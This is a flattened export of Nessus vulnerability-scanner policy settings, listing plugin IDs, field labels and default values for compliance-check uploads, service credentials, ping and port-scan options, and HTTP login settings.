Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Address : +K1000 Address : +entry + + + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Database Port : +K1000 Database Port : +entry +3306 +3306 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Organization Database Name : +K1000 Organization Database Name : +entry +ORG1 +ORG1 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Database Username : +K1000 Database Username : +entry +R1 +R1 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[password]:K1000 Database Password : +K1000 Database Password : +password + + + +Do not scan fragile devices +22481 +Do not scan fragile devices[checkbox]:Scan Network Printers +Scan Network Printers +checkbox +no +no + +Do not scan fragile devices +22481 +Do not scan fragile devices[checkbox]:Scan Novell Netware hosts +Scan Novell Netware hosts +checkbox +no +no + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Service Detection +22964 +Service Detection[radio]:Test SSL based services +Test SSL based services +radio +Known SSL ports;All;None +All ports + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Global variable settings +12288 +Global variable settings[checkbox]:Probe services on every port +Probe services on every port +checkbox +yes +yes + +Global variable settings +12288 +Global variable settings[checkbox]:Do not log in with user accounts not specified in the policy +Do not log in with user accounts not specified in the policy +checkbox +no +yes + +Global variable settings +12288 +Global variable settings[checkbox]:Enable CGI scanning +Enable CGI scanning +checkbox +no +no + +Global variable settings +12288 +Global variable settings[radio]:Network type +Network type +radio +Mixed (use RFC 1918);Private LAN;Public WAN (Internet) +Mixed (use RFC 1918) + +Global variable settings +12288 +Global variable settings[checkbox]:Enable experimental scripts +Enable experimental scripts +checkbox +no +no + +Global variable settings +12288 +Global variable settings[checkbox]:Thorough tests (slow) +Thorough tests (slow) +checkbox +no +no + +Global variable settings +12288 +Global variable settings[radio]:Report verbosity +Report verbosity +radio +Normal;Quiet;Verbose +Normal + +Global variable settings +12288 +Global variable settings[radio]:Report paranoia +Report paranoia +radio +Normal;Avoid false alarms;Paranoid (more false alarms) +Normal + +Global variable settings +12288 +Global variable settings[entry]:HTTP User-Agent +HTTP User-Agent +entry +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) + +Global variable settings +12288 +Global variable settings[file]:SSL certificate to use : +SSL certificate to use : +file + + + +Global variable settings +12288 +Global variable settings[file]:SSL CA to trust : +SSL CA to trust : +file + + + +Global variable settings +12288 +Global variable settings[file]:SSL key to use : +SSL key to use : +file + + + +Global variable settings +12288 +Global variable settings[password]:SSL password for SSL key : +SSL password for SSL key : +password + + + +Global variable settings +12288 +Global variable settings[checkbox]:Enumerate all SSL ciphers +Enumerate all SSL ciphers +checkbox +yes +yes + +Global variable settings +12288 +Global variable settings[checkbox]:Enable CRL checking (connects to Internet) +Enable CRL checking (connects to Internet) +checkbox +no +no + +Global variable settings +12288 +Global variable settings[checkbox]:Enable plugin debugging +Enable plugin debugging +checkbox +no +no + +Good MDM Settings +66963 +Good MDM Settings[entry]:GMC Server : +GMC Server : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[entry]:Port : +Port : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[entry]:Domain : +Domain : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[entry]:Username : +Username : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[password]:Password : +Password : +password + + + +Good MDM Settings +66963 +Good MDM Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Good MDM Settings +66963 +Good MDM Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Hosts File Whitelisted Entries +73980 +Hosts File Whitelisted Entries[file]:Upload file with custom hosts entries : +Upload file with custom hosts entries : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[radio]:HP ProCurve File To Audit : +HP ProCurve File To Audit : +radio +Saved/(show config);Default/(show default-config);Running/(show running-config) +Saved/(show config) + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +HTTP cookies import +42893 +HTTP cookies import[file]:Cookies file : +Cookies file : +file + + + +HTTP login page +11149 +HTTP login page[entry]:Login page : +Login page : +entry +/ +/ + +HTTP login page +11149 +HTTP login page[entry]:Login form : +Login form : +entry + + + +HTTP login page +11149 +HTTP login page[entry]:Login form fields : +Login form fields : +entry +user=%USER%&pass=%PASS% +user=%USER%&pass=%PASS% + +HTTP login page +11149 +HTTP login page[radio]:Login form method : +Login form method : +radio +POST;GET +POST + +HTTP login page +11149 +HTTP login page[checkbox]:Automated login page search +Automated login page search +checkbox +no +no + +HTTP login page +11149 +HTTP login page[entry]:Re-authenticate delay (seconds) : +Re-authenticate delay (seconds) : +entry + +0 + +HTTP login page +11149 +HTTP login page[entry]:Check authentication on page : +Check authentication on page : +entry + + + +HTTP login page +11149 +HTTP login page[entry]:Follow 30x redirections (# of levels) : +Follow 30x redirections (# of levels) : +entry +2 +0 + +HTTP login page +11149 +HTTP login page[entry]:Authenticated regex : +Authenticated regex : +entry + + + +HTTP login page +11149 +HTTP login page[checkbox]:Invert test (disconnected if regex matches) +Invert test (disconnected if regex matches) +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Match regex on HTTP headers +Match regex on HTTP headers +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Case insensitive regex +Case insensitive regex +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Abort web application tests if login fails +Abort web application tests if login fails +checkbox +no +no + +Remote web server screenshot +59861 +Remote web server screenshot[checkbox]:Allow Nessus to connect to the cloud to take a screenshot of the public targets +Allow Nessus to connect to the cloud to take a screenshot of the public targets +checkbox +no +no + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Server : +Web Reports Server : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Port : +Web Reports Port : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Username : +Web Reports Username : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[password]:Web Reports Password : +Web Reports Password : +password + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:SSL +SSL +checkbox +no +no + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Active Outbound Connection to Host Listed in Known Bot Database +58430 +Active Outbound Connection to Host Listed in Known Bot Database[file]:Custom Netstat IP Threat List : +Custom Netstat IP Threat List : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +IBM iSeries Credentials +57861 +IBM iSeries Credentials[entry]:Login : +Login : +entry + + + +IBM iSeries Credentials +57861 +IBM iSeries Credentials[password]:Password : +Password : +password + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos Key Distribution Center (KDC) : +Kerberos Key Distribution Center (KDC) : +entry + + + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos KDC Port : +Kerberos KDC Port : +entry +88 +88 + +Kerberos configuration +17351 +Kerberos configuration[radio]:Kerberos KDC Transport : +Kerberos KDC Transport : +radio +tcp +tcp + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos Realm (SSH only) : +Kerberos Realm (SSH only) : +entry + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[entry]:LDAP user : +LDAP user : +entry + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[password]:LDAP password : +LDAP password : +password + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[entry]:Max results : +Max results : +entry +1000 +1000 + +Login configurations +10870 +Login configurations[entry]:HTTP account : +HTTP account : +entry + + + +Login configurations +10870 +Login configurations[password]:HTTP password (sent in clear) : +HTTP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:NNTP account : +NNTP account : +entry + + + +Login configurations +10870 +Login configurations[password]:NNTP password (sent in clear) : +NNTP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:FTP account : +FTP account : +entry +anonymous +anonymous + +Login configurations +10870 +Login configurations[password]:FTP password (sent in clear) : +FTP password (sent in clear) : +password +nessus@nessus.org +********* + +Login configurations +10870 +Login configurations[entry]:FTP writeable directory : +FTP writeable directory : +entry +/incoming +/incoming + +Login configurations +10870 +Login configurations[entry]:POP2 account : +POP2 account : +entry + + + +Login configurations +10870 +Login configurations[password]:POP2 password (sent in clear) : +POP2 password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:POP3 account : +POP3 account : +entry + + + +Login configurations +10870 +Login configurations[password]:POP3 password (sent in clear) : +POP3 password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:IMAP account : +IMAP account : +entry + + + +Login configurations +10870 +Login configurations[password]:IMAP password (sent in clear) : +IMAP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:IPMI account : +IPMI account : +entry + + + +Login configurations +10870 +Login configurations[password]:IPMI password (sent in clear) : +IPMI password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:SMB account : +SMB account : +entry + + + +Login configurations +10870 +Login configurations[password]:SMB password : +SMB password : +password + + + +Login configurations +10870 +Login configurations[entry]:SMB domain (optional) : +SMB domain (optional) : +entry + + + +Login configurations +10870 +Login configurations[radio]:SMB password type : +SMB password type : +radio +Password;LM Hash;NTLM Hash +Password;LM Hash;NTLM Hash + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (1) : +Additional SMB account (1) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (1) : +Additional SMB password (1) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (1) : +Additional SMB domain (optional) (1) : +entry + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (2) : +Additional SMB account (2) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (2) : +Additional SMB password (2) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (2) : +Additional SMB domain (optional) (2) : +entry + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (3) : +Additional SMB account (3) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (3) : +Additional SMB password (3) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (3) : +Additional SMB domain (optional) (3) : +entry + + + +Login configurations +10870 +Login configurations[checkbox]:Never send SMB credentials in clear text +Never send SMB credentials in clear text +checkbox +yes +yes + +Login configurations +10870 +Login configurations[checkbox]:Only use NTLMv2 +Only use NTLMv2 +checkbox +no +yes + +Login configurations +10870 +Login configurations[checkbox]:Only use Kerberos authentication for SMB +Only use Kerberos authentication for SMB +checkbox +no +no + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Username : +Username : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[password]:Password : +Password : +password + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Root URL : +Root URL : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Platform ID : +Platform ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Billing ID : +Billing ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App ID : +App ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App version : +App version : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App access key : +App access key : +entry + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron VSP Admin Portal URL : +MobileIron VSP Admin Portal URL : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron port : +MobileIron port : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron username : +MobileIron username : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[password]:MobileIron password : +MobileIron password : +password + + + +MobileIron API Settings +72904 +MobileIron API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +MobileIron API Settings +72904 +MobileIron API Settings[checkbox]:Verify SSL certificate : +Verify SSL certificate : +checkbox +no +no + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Username : +Username : +entry + + + +MongoDB Settings +76512 +MongoDB Settings[password]:Password : +Password : +password + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Database for authentication : +Database for authentication : +entry + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Port : +Port : +entry +27017 +27017 + +Nessus TCP scanner +10335 +Nessus TCP scanner[radio]:Firewall detection : +Firewall detection : +radio +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) + +Nessus SYN scanner +11219 +Nessus SYN scanner[radio]:Firewall detection : +Firewall detection : +radio +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) +Automatic (normal) + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Oracle Settings +22076 +Oracle Settings[radio]:Oracle service type : +Oracle service type : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Oracle Settings +22076 +Oracle Settings[entry]:Oracle SID : +Oracle SID : +entry + + + +Oracle Settings +22076 +Oracle Settings[checkbox]:Test default accounts (slow) +Test default accounts (slow) +checkbox +no +no + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Username : +Palo Alto Username : +entry + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[password]:Palo Alto Password : +Palo Alto Password : +password + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Port : +Palo Alto Port : +entry +443 +443 + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Patch Report +66334 +Patch Report[checkbox]:Display the superseded patches in the report +Display the superseded patches in the report +checkbox +yes +no + +PCI DSS compliance +33929 +PCI DSS compliance[checkbox]:Check for PCI-DSS compliance +Check for PCI-DSS compliance +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[entry]:TCP ping destination port(s) : +TCP ping destination port(s) : +entry +built-in +built-in + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an ARP ping +Do an ARP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do a TCP ping +Do a TCP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an ICMP ping +Do an ICMP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[entry]:Number of retries (ICMP) : +Number of retries (ICMP) : +entry +2 +2 + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an applicative UDP ping (DNS,RPC...) +Do an applicative UDP ping (DNS,RPC...) +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Make the dead hosts appear in the report +Make the dead hosts appear in the report +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Log live hosts in the report +Log live hosts in the report +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Test the local Nessus host +Test the local Nessus host +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Fast network discovery +Fast network discovery +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Interpret ICMP unreach from gateway +Interpret ICMP unreach from gateway +checkbox +no +no + +Port scanners settings +33812 +Port scanners settings[checkbox]:Check open TCP ports found by local port enumerators +Check open TCP ports found by local port enumerators +checkbox +no +no + +Port scanners settings +33812 +Port scanners settings[checkbox]:Only run network port scanners if local port enumeration failed +Only run network port scanners if local port enumeration failed +checkbox +yes +yes + +RHEV Settings +77089 +RHEV Settings[entry]:Username : +Username : +entry + + + +RHEV Settings +77089 +RHEV Settings[password]:Password : +Password : +password + + + +RHEV Settings +77089 +RHEV Settings[entry]:Port : +Port : +entry +443 +443 + +RHEV Settings +77089 +RHEV Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Salesforce.com Settings +76710 +Salesforce.com Settings[entry]:Username : +Username : +entry + + + +Salesforce.com Settings +76710 +Salesforce.com Settings[password]:Password : +Password : +password + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Server : +Satellite 6 Server : +entry + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Port : +Satellite 6 Port : +entry +443 +443 + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[checkbox]:Satellite 6 Use SSL : +Satellite 6 Use SSL : +checkbox +yes +yes + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[checkbox]:Satellite 6 Verify Certificate : +Satellite 6 Verify Certificate : +checkbox +yes +yes + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Username : +Satellite 6 Username : +entry + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[password]:Satellite 6 Password : +Satellite 6 Password : +password + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite server(s) [separated w/ semicolons] : +Red Hat Satellite server(s) [separated w/ semicolons] : +entry + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite port(s) : +Red Hat Satellite port(s) : +entry +443 +443 + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[checkbox]:Verify SSL certificates : +Verify SSL certificates : +checkbox +no +no + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite username(s) : +Red Hat Satellite username(s) : +entry + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[password]:Red Hat Satellite password(s) : +Red Hat Satellite password(s) : +password + + + +ICCP/COTP TSAP Addressing Weakness +23812 +ICCP/COTP TSAP Addressing Weakness[entry]:Start COTP TSAP : +Start COTP TSAP : +entry +8 +8 + +ICCP/COTP TSAP Addressing Weakness +23812 +ICCP/COTP TSAP Addressing Weakness[entry]:Stop COTP TSAP : +Stop COTP TSAP : +entry +8 +8 + 